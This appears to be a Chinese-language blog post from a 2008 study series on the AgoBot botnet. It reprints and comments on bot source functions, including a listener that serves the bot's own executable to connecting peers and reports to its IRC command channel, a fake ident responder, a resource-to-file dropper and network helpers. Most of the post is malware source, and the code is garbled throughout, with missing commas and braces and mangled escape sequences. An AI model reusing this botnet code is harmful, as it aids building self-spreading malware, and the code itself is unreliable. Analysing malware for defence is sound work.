AgoBot 殭屍網絡研究筆記(二十)

二十、2008年04月18日

作者:青青子衿

email:[email protected]

1、charGetFilename(charszFilenamesize_t sBufSize)函數,

void *CSendFile::Run()函數中會被用到。

/*

This returns the filename of the executable in the filesystem

Win32: uses GetModuleFilename on the currently running module

Linux: uses /proc/<pid>/exe which is a like to the executable image

*/

/////////////////////////////////////////////////////////////////////

//

//函數功能:獲得當前文件名稱(包括路徑)

//參數: char* szFilename 保存文件名的buffer

// size_t sBufSize 的長度

//返回值: 文件名

//

//////////////////////////////////////////////////////////////////////

charGetFilename(charszFilenamesize_t sBufSize)

{

#ifdef WIN32

GetModuleFileName(GetModuleHandle(NULL), szFilenamesBufSize);

return szFilename;

#else

//linux平臺現在不考慮

char szLinkname[64]; 

pid_t pSelf=getpid(); 

int iRet;

snprintf(szLinknamesizeof(szLinkname), "/proc/%i/exe"pSelf);

iRet=readlink(szLinknameszFilenamesBufSize);

if(iRet==-1) 

{

return NULL

}

if(iRet>=sBufSize

errno=ERANGE

return NULL

}

szFilename[iRet]=0; 

return szFilename;

#endif

}

2void *CSendFile::Run()  函數

////////////////////////////////////////////////////////////////

//

//函數功能:類中具體實現發送文件的函數

//參數:

//返回值: void * 始終是NULL

//

//////////////////////////////////////////////////////////////////

void *CSendFile::Run()

{

int m_sListenSocket;

sockaddr_in m_lAddr;

int sClientSocket

sockaddr_in cAddr;

socklen_t cAddrLen=sizeof(cAddr);

unsigned char fileBuf[4096];

FILE *fp=NULL;

memset(&m_lAddr, 0, sizeof(m_lAddr));

m_lAddr.sin_family=AF_INET;

m_lAddr.sin_addr.s_addr=INADDR_ANY;

m_lAddr.sin_port=htons(g_cMainCtrl.m_cBot.bot_ftrans_port.iValue);

//創建套接字

m_sListenSocket=socket(AF_INETSOCK_STREAMIPPROTO_TCP);

if(m_sListenSocket==SOCKET_ERROR

g_cMainCtrl.m_lCanJoin.push_back(this);   //將本線程,從線程堆棧中彈出

return NULL;

}

#ifdef DBGCONSOLE

//寫入發送文件的日誌

g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Binding CSendFile to port %d./n"thisg_cMainCtrl.m_cBot.bot_ftrans_port.iValue);

#endif

if(bind(m_sListenSocket, (sockaddr*)&m_lAddrsizeof(m_lAddr))!=0)

//調用bind失敗,關閉套接字

xClose(m_sListenSocket); 

g_cMainCtrl.m_lCanJoin.push_back(this); 

return NULL

}

#ifdef DBGCONSOLE

//寫入發送文件的日誌

g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Listening on port %d./n"thisg_cMainCtrl.m_cBot.bot_ftrans_port.iValue);

#endif

while(g_cMainCtrl.m_bRunning)

{

if(listen(m_sListenSocket, 10)==SOCKET_ERROR

Sleep(250); 

continue

}

//調用accept接收函數,

sClientSocket=accept(m_sListenSocket, (sockaddr*)&cAddr, &cAddrLen);

if(sClientSocket!=SOCKET_ERROR)

{

// Get the remote ip via getpeername

sockaddr sa;

socklen_t sas=sizeof(sa);

memset(&sa, 0, sizeof(sa));

getpeername(sClientSocket, &sa, &sas);//獲取與套接口相連的本地端地址

// Break if the ip is 0.0.0.0

if(!(unsigned char)sa.sa_data[2]) 

{

//如果sa.sa_data[2]等於0,執行這裏

continue;

}

//向bot控制端發送相應的bot運行狀況信息

g_cMainCtrl.m_cIRC.SendFormat(falsefalseg_cMainCtrl.m_cBot.si_mainchan.sValue.Str(),

"CSendFile(0x%8.8Xh): Connection from %d.%d.%d.%d accepted."this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /

(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);

#ifdef DBGCONSOLE

//將運行狀況信息寫入日誌

g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Connection from %d.%d.%d.%d accepted./n"this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /

(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);

#endif

int count=4096;

CString sFileName;

GetFilename(sFileName.GetBuffer(4096), 4096); //獲得文件名稱

fp=fopen(sFileName.CStr(), "rb");  //打開該文件

if(fp

{

#ifdef DBGCONSOLE

//寫入日誌

g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Sending file.../n"this);

#endif

fseek(fp, 0, SEEK_END); 

long filesize=ftell(fp);  //獲得文件的長度

fseek(fp, 0, SEEK_SET);

char *filesize1=(char*)&filesize;  //將保存文件長度的內存地址保存到filesize1字符串指針中

char fsbuf[4]; 

fsbuf[4]='/0'

fsbuf[0]=(char)filesize1[0]; 

fsbuf[1]=(char)filesize1[1];

fsbuf[2]=(char)filesize1[2]; 

fsbuf[3]=(char)filesize1[3];

xWrite(sClientSocket, (char*)fsbufsizeof(long)); //將文件長度發送出去。

while(count==4096)

{

memset(fileBuf, 0, sizeof(fileBuf));

count=fread(fileBufsizeof(char), 4096, fp); //從文件中讀取4096長度的內容。

if(ferror(fp))

//如果讀取失敗,跳出讀文件的循環

break;

}

xWrite(sClientSocket, (char*)fileBufcount); //將讀取的文件內容發送出去。

}

//向bot的控制檯返回相關信息。

g_cMainCtrl.m_cIRC.SendFormat(falsefalseg_cMainCtrl.m_cBot.si_mainchan.sValue.Str(),

"CSendFile(0x%8.8Xh): Transfer to %d.%d.%d.%d finished."this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /

(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);

#ifdef DBGCONSOLE

//寫日誌

g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Transfer to %d.%d.%d.%d finished./n"this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /

(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);

#endif

fclose(fp);  //關閉文件指針

}

xClose(sClientSocket);  //關閉accept函數創建的網絡套接字

}

Sleep(2500);  //程序休息2.5秒

}

xClose(m_sListenSocket); //關閉socket函數創建的套接字

return NULL;

}

3int DoTcpBind(int iPort)  函數

/////////////////////////////////////////////////////////////////

//

//函數功能:負責TCP協議的bind操作

//參數: int iPort   端口號

//返回值: 套接字的值

//

////////////////////////////////////////////////////////////////////

int DoTcpBind(int iPort)

{

int sListenSocket=socket(AF_INETSOCK_STREAMIPPROTO_TCP); //創建套接字

if(sListenSocket==INVALID_SOCKET)

{

//如果創建失敗,程序返回SOCKET_ERROR。

return SOCKET_ERROR;

}

sockaddr_in ssin;

memset(&ssin, 0, sizeof(ssin)); 

ssin.sin_family=AF_INET;

ssin.sin_port=htons(iPort);

ssin.sin_addr.s_addr=INADDR_ANY;

if(bind(sListenSocket, (sockaddr*)&ssinsizeof(ssin))!=0)//調用bind函數。

{

xClose(sListenSocket);

return SOCKET_ERROR;

}

return sListenSocket//返回創建的套接字

}

4int DoTcpAccept(int sSocket) 函數

/////////////////////////////////////////////////////////////////

//

//函數功能:賦值TCP協議的Accept操作

//參數: int sSocket 創建的套接字

//返回值: 是有accept函數創建的新套接字

//

//

//////////////////////////////////////////////////////////////

int DoTcpAccept(int sSocket)

{

if(listen(sSocket, 10)==SOCKET_ERROR)  //調用listen函數

{

return SOCKET_ERROR;

}

sockaddr_in cssin

socklen_t clen=sizeof(cssin);

int sClientSocket=accept(sSocket, (sockaddr*)&cssin, &clen); //調用accept函數

if(sClientSocket==SOCKET_ERROR

{

return SOCKET_ERROR;

}

return sClientSocket

}

5void *CIdentD::Run()函數

///////////////////////////////////////////////////////////////////////

//

//函數功能:發送以暱稱爲主的數據,具體功能還不清楚

//參數:

//返回值: void *

//

///////////////////////////////////////////////////////////////////////////

void *CIdentD::Run()

{

//和類的成員變量重複了,不可理解

int m_sListenSocket;

sockaddr_in m_lAddr;

int sClientSocket

sockaddr_in cAddr;

socklen_t cAddrLen=sizeof(cAddr);

char ibuff[64];

memset(&m_lAddr, 0, sizeof(m_lAddr));

m_lAddr.sin_family=AF_INET;

m_lAddr.sin_addr.s_addr=INADDR_ANY;

m_lAddr.sin_port=htons(113); //端口113

m_sListenSocket=DoTcpBind(m_lAddr.sin_port);  //調用bind函數返回套接字

if(m_sListenSocket==SOCKET_ERROR

{

//如果創建套接字失敗。

return false;

}

#ifdef DBGCONSOLE

//寫日誌信息

g_cMainCtrl.m_cConsDbg.Log(5, "CIdentD(0x%8.8Xh): Binding IdentD to port 113./n"this);

#endif

if(bind(m_sListenSocket, (sockaddr*)&m_lAddrsizeof(m_lAddr))!=0) 

//bind函數調用失敗

g_cMainCtrl.m_bIdentD_Running = false;

g_cMainCtrl.m_cIdentD.Kill(); //終止線程,那麼這個函數在這裏就應該結束了。

}

#ifdef DBGCONSOLE

//寫入日誌

g_cMainCtrl.m_cConsDbg.Log(5, "CIdentD(0x%8.8Xh): Listening on port 113./n"this);

#endif

g_cMainCtrl.m_bIdentD_Running = true//表示正在運行CIndent

while(!g_cMainCtrl.m_cBot.m_bJoined)

{

if(listen(m_sListenSocket, 10)==SOCKET_ERROR

//調用listern函數,失敗後,休息2秒後,終止線程

Sleep(2000); 

g_cMainCtrl.m_cIdentD.Kill(); 

}

sClientSocket=accept(m_sListenSocket, (sockaddr*)&cAddr, &cAddrLen); //調用accept函數

if(sClientSocket!=SOCKET_ERROR)

{

// Get the remote ip via getpeername

sockaddr sa

socklen_t sas=sizeof(sa); 

memset(&sa, 0, sizeof(sa)); 

getpeername(sClientSocket, &sa, &sas);//獲得網絡所連接的令一端的信息

// Break if the ip is 0.0.0.0

if(!(unsigned char)sa.sa_data[2]) 

{

continue;

}

#ifdef DBGCONSOLE

//寫入日誌

g_cMainCtrl.m_cConsDbg.Log(5, "IdentD: Connection from %d.%d.%d.%d accepted./n"this, /

(unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /

(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);

#endif

srand(GetCycleCount());  //初始化一個隨機數生成器

memset(ibuff, 0, sizeof(ibuff)); //ibuff清空

sprintf(ibuff"%d, %d : USERID : UNIX : %s/r/n"rand()%6000+1, 113, RndNick(g_cMainCtrl.m_cBot.si_nickprefix.sValue.CStr())); // build ident reply

xWrite(sClientSocket, (char*)ibuffsizeof(ibuff)); //發送數據   // send file

xClose(sClientSocket); 

}

Sleep(2500);

xClose(m_sListenSocket);

g_cMainCtrl.m_bIdentD_Running = false;

g_cMainCtrl.m_cIdentD.Kill();

}

xClose(m_sListenSocket);

return NULL;

}

6bool WriteFile(const char *filenameint resnumLPCTSTR lpModuleName) 函數

//////////////////////////////////////////////////////////////////////////////////

//

//函數功能:將資源中的信息,寫到文件中

//參數: const char *filename 文件名稱

// int resnum 資源的名稱,對應的標識,該對應關係在資源表中

// LPCTSTR lpModuleName  包含資源的模塊的名稱

//返回值: bool 調用成功返回true,否則返回false

//

/////////////////////////////////////////////////////////////////////////////////////

bool WriteFile(const char *filenameint resnumLPCTSTR lpModuleName)

{

FILE *fp=fopen(filename"wb");

if(!fp

{

return false;

}

HMODULE hMod=GetModuleHandle(lpModuleName); 

if(!hMod

{

return false;

}

HRSRC hBinary=FindResource(hModMAKEINTRESOURCE(resnum), TEXT("BINRES")); 

if(!hBinary

{

return false;

}

HGLOBAL hGbDesc=LoadResource(hModhBinary); 

DWORD dwSize=SizeofResource(hModhBinary); 

PBYTE pData=(unsigned char*)LockResource(hGbDesc); 

fwrite(pDatasizeof(unsigned char), dwSizefp);

fclose(fp);

UnlockResource(hBinary);

return true

}

7unsigned long ResolveAddress(const char *szHost)  函數

/*

This turns a numeric ip or hostname into an unsigned long

*/

//////////////////////////////////////////////////////////////

//

//函數功能:將主機名或是字符串形式的IP地址轉換成DWORD形式的IP地址,

//參數: const char *szHost 保存主機名或IP的字符串

//返回值: IP地址

//

//////////////////////////////////////////////////////////////////////////

unsigned long ResolveAddress(const char *szHost)

{

unsigned long lAddr=inet_addr(szHost);

if(lAddr==INADDR_NONE)

{

hostent *pHE=gethostbyname(szHost);

if(!pHE

{

return INADDR_NONE;

}

lAddr=*((unsigned long*)pHE->h_addr_list[0]); 

}

return lAddr

}

8unsigned short checksum(unsigned short *bufferint size) 函數

/*

This calculates a TCP/IP checksum

*/

//////////////////////////////////////////////////////////

//

//函數功能:計算IP協議的校驗和

//參數: unsigned short *buffer 保存數據包的buffer

// int size buffer的長度

//返回值: 最終計算出來的校驗值

//

//////////////////////////////////////////////////////////

unsigned short checksum(unsigned short *bufferint size)

{

unsigned long cksum=0;

while(size>1) 

cksum+=*buffer++; 

size-=2; 

}

if(size

{

cksum+=*(unsigned char*)buffer;

}

cksum=(cksum>>16)+(cksum&0xffff); 

cksum+=(cksum>>16);

return(unsigned short)(~cksum); 

}

9in_addr &to_in_addr(unsigned long lHost) 函數

/*

This returns a static in_addr with a host assigned

*/

////////////////////////////////////////////////////////////

//

//函數功能:將IP地址寫入in_addr結構體

//參數: unsigned long lHost   dword類型的IP地址

//返回值: in_addr 類型的引用

//

///////////////////////////////////////////////////////////

in_addr &to_in_addr(unsigned long lHost)

{

static in_addr ina;

ina.s_addr=lHost;

return ina

}

10int GetFileSize(FILE *fp) 函數

///////////////////////////////////////////////////////

//

//函數功能:獲得文件長度

//參數: FILE *fp 文件指針

//返回值: int 文件的長度

//

////////////////////////////////////////////////////////

int GetFileSize(FILE *fp)

{

long lLastPos=ftell(fp); 

fseek(fp, 0, SEEK_END);

long lFileSize=ftell(fp); 

fseek(fplLastPosSEEK_SET);

return (int)lFileSize

}

11bool ParseURL(const char *szURLurl *pURL) 函數

/*

This breaks an URL to pieces, and stores them in pURL

*/

//////////////////////////////////////////////////////////////

//

//函數功能:解析URL字符串

//參數: const char *szURL  url字符串

// url *pURL 保存解析結果的url類型

//返回值: bool 調用成功返回true,否則返回false

//

/////////////////////////////////////////////////////////////////

bool ParseURL(const char *szURLurl *pURL)

{

if(!szURL)

{

return false

}

CString sURL;

sURL.Assign(szURL);

// Get the protocol (ie. http), and check if its a supported protocol

pURL->sProto.Assign(sURL.Token(0, ":")); //提取字符串冒號前的協議名稱

if(pURL->sProto.Compare("http") && pURL->sProto.Compare("ftp"))

{

//如果協議名稱既不是http也不是ftp,則函數返回。

return false;

}

// Get the hostname and check if it isnt empty

//sURL.Token(1, "/").Token(0, ":")關注這句的調用是右優先級高,先找“:”字符,再找“/”

pURL->sHost.Assign(sURL.Token(1, "/").Token(0, ":"));

if(!pURL->sHost.Compare("")) 

{

//提取的字符串是否是null

return false;

}

// Get the port and check if it isnt null 獲得端口

pURL->iPort=atoi(sURL.Token(1, "/").Token(1, ":").CStr());

//如果字符串中沒有端口,那麼端口爲默認端口80

if(!pURL->iPort

{

pURL->iPort=80;

}

// Get the request for the server 推測是獲取後便的參數,在這裏靜態的分析,不如以後調試一下更有效

CString sReq=sURL.Mid(sURL.Find("/"));

sReq=sReq.Mid(sReq.Find("/"));

sReq=sReq.Mid(sReq.Find("/"));

pURL->sReq.Assign("/"); 

pURL->sReq.Append(sReq.Token(0, " "));

return true

}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章